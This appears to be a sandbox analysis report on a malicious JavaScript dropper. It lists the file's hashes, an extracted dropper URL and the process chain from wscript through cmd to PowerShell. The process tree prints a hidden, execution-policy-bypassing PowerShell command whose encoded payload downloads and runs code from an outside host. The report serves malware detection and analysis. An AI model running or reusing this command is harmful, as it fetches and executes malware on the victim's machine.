Overview

overview

10

Static

static

1

359b121129...bff.js

windows7-x64

10

359b121129...bff.js

windows10-2004-x64

10

Analysis

  • max time kernel
    0s
  • max time network
    122s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/01/2024, 15:55

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target

    359b12112992fb525b91de4c27d24bff.js

  • Size

    23KB

  • MD5

    359b12112992fb525b91de4c27d24bff

  • SHA1

    5de67e028c5d9e43d4219a51815d7e73298ce26c

  • SHA256

    88d4d3f48bd23543980b70b5a78606d80c2917bfcd960991eb9a8ddf6ac58ed2

  • SHA512

    38fe4134cdd2bd4b356919789a2f0090dcd0588f4d12f1cd4f9a2ec43ec6e18b907e1751fb3a59ba34fe261c39e40ab5ecf955ef4743b6fce0576800ddce845d

  • SSDEEP

    384:+YjCpsGBoQjAyo1a5mc4+Ph9wMnRBdGybNTsFO02St:+1pqQjAz1a54+pyOTsFO02St

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://munardis.space/222g100/index.php

Signatures

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\359b12112992fb525b91de4c27d24bff.js
    1⤵
      PID:4732
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQB1AG4AYQByAGQAaQBzAC4AcwBwAGEAYwBlAC8AMgAyADIAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
        2⤵
          PID:2100
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQB1AG4AYQByAGQAaQBzAC4AcwBwAGEAYwBlAC8AMgAyADIAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
            3⤵
              PID:4812

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • memory/4812-12-0x0000022A63AC0000-0x0000022A63AD0000-memory.dmp

                Filesize

                64KB

                Download

              • memory/4812-11-0x0000022A63AC0000-0x0000022A63AD0000-memory.dmp

                Filesize

                64KB

                Download

              • memory/4812-10-0x00007FFFBF2C0000-0x00007FFFBFD81000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/4812-9-0x0000022A643F0000-0x0000022A64412000-memory.dmp

                Filesize

                136KB

                Download

              • memory/4812-13-0x0000022A63AC0000-0x0000022A63AD0000-memory.dmp

                Filesize

                64KB

                Download

              • memory/4812-17-0x00007FFFBF2C0000-0x00007FFFBFD81000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/4812-14-0x0000022A63AC0000-0x0000022A63AD0000-memory.dmp

                Filesize

                64KB

                Download